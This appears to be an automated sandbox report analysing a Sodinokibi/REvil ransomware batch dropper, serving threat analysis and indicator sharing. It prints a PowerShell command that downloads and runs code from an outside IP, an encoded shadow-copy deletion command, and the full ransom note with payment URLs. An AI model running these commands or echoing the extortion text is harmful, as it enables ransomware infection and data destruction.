Analysis

  • max time kernel
    140s
  • max time network
    141s
  • platform
    windows7_x64
  • resource
    win7v200430
  • submitted
    17-05-2020 02:10

General

  • Target

    1f8c25780845b838f9e4e236cecde44a.bat

  • Size

    220B

  • MD5

    aec4b8da44e26c2a159705665e2fd49d

  • SHA1

    24ebd61f5b8568a107ee16f17ae0bc3b07887b00

  • SHA256

    79aa8d7a7be4115acea3af97412982e19a243d37031ca75779e0d00d68127701

  • SHA512

    102759db61f6c214329230c3730e732d62bf5e114d2f712166bb6a811d93d1e7364bd68b3af95a2ab3dc48d225c28910278d2479a601aa676f6875670f634094

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://185.103.242.78/pastes/1f8c25780845b838f9e4e236cecde44a

Extracted

Path

C:\114lvu0rh4-read-me.txt

Family

sodinokibi

Ransom Note
---=== Welcome Pilot Freight Services Inc. ===--- [+] Whats Happen? [+] Your internal network has been penetrated. Your files are encrypted with strong military algorithm, and currently unavailable. You can check it: all files on your system has extension 114lvu0rh4. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). Also, all your business info copyed to our servers. Personal data of your patient and business contacts extracted. If you do not take action to contact us, the data will be published fo free access everyone. As soon as we receive the payment, all data will be deleted from our servers. [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/1B02B72883D9A3EB 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/1B02B72883D9A3EB Contact with us in chat on website. You have 3 days. If you need more time to make a decision and collect money for payment - inform the support chat about this. [+] How will the decryption process proceed after payment? [+] After payment we will send to you our scanner-decoder program and detailed instructions for use. With this program you will be able to decrypt all your encrypted files. Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: BnzXzlNdgJ9NrUVeHpaaNS69OVc91shl9/w7C/6x8I1c/9aon9byA314a7DHV+JT 05hT9c4TXy8WQBKMmgNLprlS1BbdGpUfrefAUT04GFsECnjlF7MDGS60aPvXic5f WleFIIZFccbLIVlXzO6lvNffxLuPt6PspqJ6KHWB3fUfRbgIO9NpPAcZQcfrSxbi tAF8vwXQeJEo0bt65oOguEgFEfP1fa1+HkFSbrt1vCFIZrcYVfcMMaiZETTUpNls QTR2I4pfH1fcqUaDLdzWxcG/0TlZN+rAf1Epte9RN4tMExbYx9s2jHlmO7hQveez XFd0S78mCZUoVEdxnmAH2+IjYzuLRhEvAcgGgiZIDmqw1amSSNVSKWl4unTyggux oh6B0w0iXSXt+9n3hxR+Io0q7ovlGJLEUKnBbzYuheSxZOq61vRHTNhmkEFDZMVZ T6zoUKBUEyH+iHJk+FJA99KC6Cy7PBJHgriQuH10S6uBFCDzMw5ad/ZgP8JIY8Dp RfeVS/dHYJHwfnH09RCSGzTAV8RcvC2D1KpHKzLcaW/avkl6mZF9UrYpKAGL3tjs tnKBiv0SDYT2BsRuVzWk+QjB4W3nTcFAOlM367XIgRjaOaKuaL8Qp3adjnZsvjSK qhSaNuJsx7ueVBRuexae47VY+Cy6H8clc9UJ5WU+w7L4565FSED7A2gLW+/IVOOg NfxgcPF+613VfspokWXJydlCmEDYpOzVbMKebflfEtPB15RNuPZ4pOxbKHNnWvkV 5VHIYzCNbZ40rxcqROyfINcCVAGmINESouozSMugqj2njGpXunxqILrScJGd+hAE V9UO27ASVP09wfEGt59YO8EvRozuFrywfNPhbBTbV1CWBYfVVpl+8jYrmliyTidA gET5Av9mOqwjzwMresytjFU4e///zrWNF1eL+zoPn7dB1P2tSPd3tUOJNZihwjTj umgWfrMRjROUW+MjMH5QJ6okaGymbbS/qobcanwedrNHU7/JZr0uLjqlT2dkIV7I I0gJ3HBEiiT/EzHMAz3Cqoysrmn8JOGKJDQK+oGRvcRTvLwKdFbJjsV8Xg6vuD16 S4jyENuiTGQQjABBFrZLNTClkBtGqefAKLfe5+xN9DbkrBEcgXUhC/W9BPBBfCfM sDPzg9YSH7xo3e6TGKRiSRK7u+fyXM9Meq9hlkYuzaM/XvevdqqzZHqrNNQKa2B7 rgExQS+7Ie3Wn4BvOl3ZrT5+NaHecyR+6/vkyWlUlGnrrESj+f3AJ3KLwvvlDgWR dOJF7/5dXLhbssppk5+W68YqIn/aPuwy14HeWb0AGKmj8I8M1o7QRg== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/1B02B72883D9A3EB

http://decryptor.cc/1B02B72883D9A3EB

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

  • Modifies service 2 TTPs 4 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Modifies system certificate store 2 TTPs 6 IoCs
  • Blacklisted process makes network request 153 IoCs
  • Enumerates connected drives 3 TTPs
  • Drops file in Program Files directory 18 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious behavior: EnumeratesProcesses 77 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\1f8c25780845b838f9e4e236cecde44a.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1528
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/1f8c25780845b838f9e4e236cecde44a');Invoke-PBOOTODBDYZFW;Start-Sleep -s 10000"
      2⤵
      • Suspicious behavior: CmdExeWriteProcessMemorySpam
      • Drops file in System32 directory
      • Modifies system certificate store
      • Blacklisted process makes network request
      • Drops file in Program Files directory
      • Sets desktop wallpaper using registry
      • Suspicious use of WriteProcessMemory
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious behavior: EnumeratesProcesses
      PID:908
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious behavior: EnumeratesProcesses
        PID:1804
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Modifies service
    • Suspicious use of AdjustPrivilegeToken
    PID:844

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2f8f6cc7-ae83-4f79-b06e-2b9a49e06c5b

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3f934678-4276-4d7d-9a2b-7ccacecf398b

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_670419ca-9b90-4e9d-a6c5-f73b7563d382

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9065e065-05e7-4eaa-bb93-1db6da178e99

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a3b7b651-7089-41b5-9155-3fb877609508

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b7a807a3-f6b6-4397-972a-e9e81988f869

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms